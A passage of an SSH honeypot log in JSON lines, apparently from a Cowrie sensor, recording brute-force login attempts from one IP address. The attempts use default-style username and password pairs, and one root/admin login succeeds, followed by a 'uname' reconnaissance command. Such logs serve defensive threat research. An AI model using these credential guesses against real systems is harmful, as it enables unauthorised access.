mac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:42.274313Z","src_ip":"91.92.42.133","session":"757edea1f3c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:43.084838Z","src_ip":"91.92.42.133","session":"757edea1f3c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:44.204069Z","src_ip":"91.92.42.133","session":"757edea1f3c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33604,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3c89d1fb75e","protocol":"ssh","message":"New connection: 91.92.42.133:33604 (159.203.135.109:22) [session: f3c89d1fb75e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:49.087533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:49.322301Z","src_ip":"91.92.42.133","session":"f3c89d1fb75e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:49.325733Z","src_ip":"91.92.42.133","session":"f3c89d1fb75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.566508531570435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:50.182935Z","src_ip":"16.162.188.118","session":"5d0a58cdf29d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"dev","message":"login attempt [deployer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:51.171987Z","src_ip":"91.92.42.133","session":"f3c89d1fb75e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:52.536375Z","src_ip":"91.92.42.133","session":"f3c89d1fb75e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40296,"dst_ip":"159.203.135.109","dst_port":22,"session":"e23494995acf","protocol":"ssh","message":"New connection: 91.92.42.133:40296 (159.203.135.109:22) [session: e23494995acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:57.126812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:57.400486Z","src_ip":"91.92.42.133","session":"e23494995acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:57.403346Z","src_ip":"91.92.42.133","session":"e23494995acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:58.744663Z","src_ip":"91.92.42.133","session":"e23494995acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:00:59.933863Z","src_ip":"91.92.42.133","session":"e23494995acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41838,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0b4abfdff77","protocol":"ssh","message":"New connection: 91.92.42.133:41838 (159.203.135.109:22) [session: c0b4abfdff77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:04.801006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:04.967191Z","src_ip":"91.92.42.133","session":"c0b4abfdff77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:04.972638Z","src_ip":"91.92.42.133","session":"c0b4abfdff77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:05.862798Z","src_ip":"91.92.42.133","session":"c0b4abfdff77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:06.946997Z","src_ip":"91.92.42.133","session":"c0b4abfdff77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41900,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1c8117f3b69","protocol":"ssh","message":"New connection: 91.92.42.133:41900 (159.203.135.109:22) [session: b1c8117f3b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:12.568236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:12.597273Z","src_ip":"91.92.42.133","session":"b1c8117f3b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:12.652528Z","src_ip":"91.92.42.133","session":"b1c8117f3b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"dev","message":"login attempt [deploy/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:13.014538Z","src_ip":"91.92.42.133","session":"b1c8117f3b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:14.365851Z","src_ip":"91.92.42.133","session":"b1c8117f3b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44080,"dst_ip":"159.203.135.109","dst_port":22,"session":"56c587b3c325","protocol":"ssh","message":"New connection: 91.92.42.133:44080 (159.203.135.109:22) [session: 56c587b3c325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:20.082043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:20.140738Z","src_ip":"91.92.42.133","session":"56c587b3c325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:20.266036Z","src_ip":"91.92.42.133","session":"56c587b3c325","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:21.139919Z","src_ip":"91.92.42.133","session":"56c587b3c325","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:21.664333Z","src_ip":"91.92.42.133","session":"56c587b3c325","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:21.666526Z","src_ip":"91.92.42.133","session":"56c587b3c325","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:21.895286Z","src_ip":"91.92.42.133","session":"56c587b3c325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:21.899065Z","src_ip":"91.92.42.133","session":"56c587b3c325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34376,"dst_ip":"159.203.135.109","dst_port":22,"session":"79e2cace1241","protocol":"ssh","message":"New connection: 91.92.42.133:34376 (159.203.135.109:22) [session: 79e2cace1241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:27.907113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:28.054750Z","src_ip":"91.92.42.133","session":"79e2cace1241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:28.085577Z","src_ip":"91.92.42.133","session":"79e2cace1241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"12345678","message":"login attempt [claude/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:28.754233Z","src_ip":"91.92.42.133","session":"79e2cace1241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:29.911211Z","src_ip":"91.92.42.133","session":"79e2cace1241","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42670,"dst_ip":"159.203.135.109","dst_port":22,"session":"7aaeaba1c703","protocol":"ssh","message":"New connection: 91.92.42.133:42670 (159.203.135.109:22) [session: 7aaeaba1c703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:35.448978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:35.493927Z","src_ip":"91.92.42.133","session":"7aaeaba1c703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:35.574341Z","src_ip":"91.92.42.133","session":"7aaeaba1c703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:36.007911Z","src_ip":"91.92.42.133","session":"7aaeaba1c703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:37.456508Z","src_ip":"91.92.42.133","session":"7aaeaba1c703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42730,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f9fb7048b83","protocol":"ssh","message":"New connection: 91.92.42.133:42730 (159.203.135.109:22) [session: 6f9fb7048b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.233454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:01:43.348123Z","src_ip":"91.92.42.133","session":"6f9fb7048b83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 